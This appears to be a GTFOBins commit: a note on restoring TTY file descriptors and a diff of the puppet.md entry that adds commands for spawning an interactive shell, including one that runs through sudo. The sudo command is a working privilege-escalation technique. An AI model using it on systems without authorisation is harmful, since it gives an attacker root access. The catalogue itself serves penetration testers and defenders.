Make interactive execute whenever possible

Here the trick is to restore those file descriptors (0, 1, 2) that have been
redirected (`dup2`) by the parent process.

First we need to determine which one has been redirected, for example by looking
at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0,
1 or 2 respectively, where `x` is any file descriptor number that points to the
TTY.

It may happen that no file descriptor is unchanged, in that case we can use
`tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)

_gtfobins/puppet.md

@@ -1,10 +1,8 @@
 ---
 functions:
-  execute-non-interactive:
-    - description: The executed command output shown in the puppet log format.
-      code: |
-        export CMD="/usr/bin/id"
-        puppet apply -e "exec { '$CMD': logoutput => true }"
+  execute-interactive:
+    - code: |
+        puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
   file-write:
     - description: The file path must be absolute.
       code: |
@@ -16,8 +14,6 @@ functions:
         export LFILE=file_to_read
         puppet filebucket -l diff /dev/null $LFILE
   sudo-enabled:
-    - description: The executed command output shown in the puppet log format.
-      code: |
-        export CMD="/usr/bin/id"
-        sudo puppet apply -e "exec { '$CMD': logoutput => true }"
+    - code: |
+        sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
 ---